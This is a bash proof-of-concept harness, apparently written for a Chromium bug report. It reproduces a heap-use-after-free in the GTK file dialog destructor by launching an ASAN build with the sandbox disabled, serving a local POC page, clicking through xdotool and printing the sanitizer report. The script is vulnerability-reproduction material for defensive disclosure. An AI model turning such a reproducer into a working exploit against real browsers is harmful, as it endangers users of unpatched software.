#!/bin/bash
# Reproduce browser-process heap-use-after-free in
# SelectFileDialogLinuxGtk::~SelectFileDialogLinuxGtk.
#
# Requires: Linux, X display, GTK3, xdotool. xdg-desktop-portal must be
# unavailable (or FileChooser version < 3) so Chrome falls back to the GTK
# file dialog.

set -u

CHROME=${CHROME:-/chromium/chromium/src/out/asan/chrome}
DISPLAY=${DISPLAY:-:0}
PORT=${PORT:-8137}
XDOTOOL=${XDOTOOL:-xdotool}

HERE=$(cd "$(dirname "$0")" && pwd)
PROFILE=$(mktemp -d /tmp/chrome-poc-profile.XXXXXX)
LOG="$HERE/asan.log"

cleanup() {
  kill "$SERVER_PID" 2>/dev/null
  kill "$CHROME_PID" 2>/dev/null
  rm -rf "$PROFILE"
}
trap cleanup EXIT

# 1. Serve the POC.
python3 "$HERE/server.py" "$PORT" >/dev/null 2>&1 &
SERVER_PID=$!
sleep 1

# 2. Launch ASAN Chrome.
#    - DBUS_SESSION_BUS_ADDRESS points nowhere so the xdg-desktop-portal check
#      fails and Chrome falls back to the GTK file dialog.
#    - G_SLICE=always-malloc routes GObject allocations through malloc so ASAN
#      sees the GtkFileChooserDialog allocation/free.
export DISPLAY
export DBUS_SESSION_BUS_ADDRESS=unix:path=/dev/null
export G_SLICE=always-malloc
export XDG_RUNTIME_DIR=$(mktemp -d /tmp/xdg-runtime.XXXXXX)
export ASAN_OPTIONS="detect_leaks=0:handle_abort=1:symbolize=1:detect_odr_violation=0:fast_unwind_on_malloc=0:fast_unwind_on_fatal=0:malloc_context_size=40${ASAN_OPTIONS:+:$ASAN_OPTIONS}"

# asan_gobject_probe.so: GTK/GLib are not ASAN-instrumented, so the
# g_object_set_data() read of freed memory is invisible to ASAN. The shim
# probes the same field via memcpy (which ASAN does intercept) so the UAF
# produces a proper ASAN report. It does not change behaviour.
if [ ! -e "$HERE/asan_gobject_probe.so" ]; then
  cc -shared -fPIC -O1 -g -fno-builtin -fno-omit-frame-pointer \
     -o "$HERE/asan_gobject_probe.so" "$HERE/asan_gobject_probe.c" -ldl
fi
LD_PRELOAD="$HERE/asan_gobject_probe.so" \
"$CHROME" \
  --no-sandbox \
  --no-first-run --no-default-browser-check \
  --disable-gpu --in-process-gpu \
  --ozone-platform=x11 \
  --gtk-version=3 \
  --password-store=basic --use-mock-keychain \
  --enable-logging=stderr --v=0 \
  --user-data-dir="$PROFILE" \
  --window-position=0,0 --window-size=1280,1024 \
  "http://127.0.0.1:$PORT/poc.html" \
  > "$LOG" 2>&1 &
CHROME_PID=$!

# 3. Wait for the page to load, then click to provide user activation and
#    open the file picker.
sleep 12
WID=$("$XDOTOOL" search --name 'GTK FileChooser UAF POC' 2>/dev/null | head -1)
if [ -z "$WID" ]; then
  WID=$("$XDOTOOL" search --onlyvisible --name 'Chrom' 2>/dev/null | head -1)
fi
echo "Chrome window: ${WID:-<not found>}"
if [ -n "$WID" ]; then
  "$XDOTOOL" windowfocus "$WID" 2>/dev/null
  "$XDOTOOL" mousemove --window "$WID" 600 400 click 1
else
  "$XDOTOOL" mousemove 600 400 click 1
fi

# 4. Wait for the picker to open and the navigation to fire the canceller.
for i in $(seq 1 30); do
  if grep -q 'AddressSanitizer' "$LOG" 2>/dev/null; then break; fi
  if ! kill -0 "$CHROME_PID" 2>/dev/null; then break; fi
  sleep 1
done
sleep 2

kill "$CHROME_PID" 2>/dev/null; wait "$CHROME_PID" 2>/dev/null

echo
echo "==================== ASAN report ===================="
grep -n -A200 'ERROR: AddressSanitizer' "$LOG" || {
  echo "(no ASAN error found; full log at $LOG)"
  exit 1
}
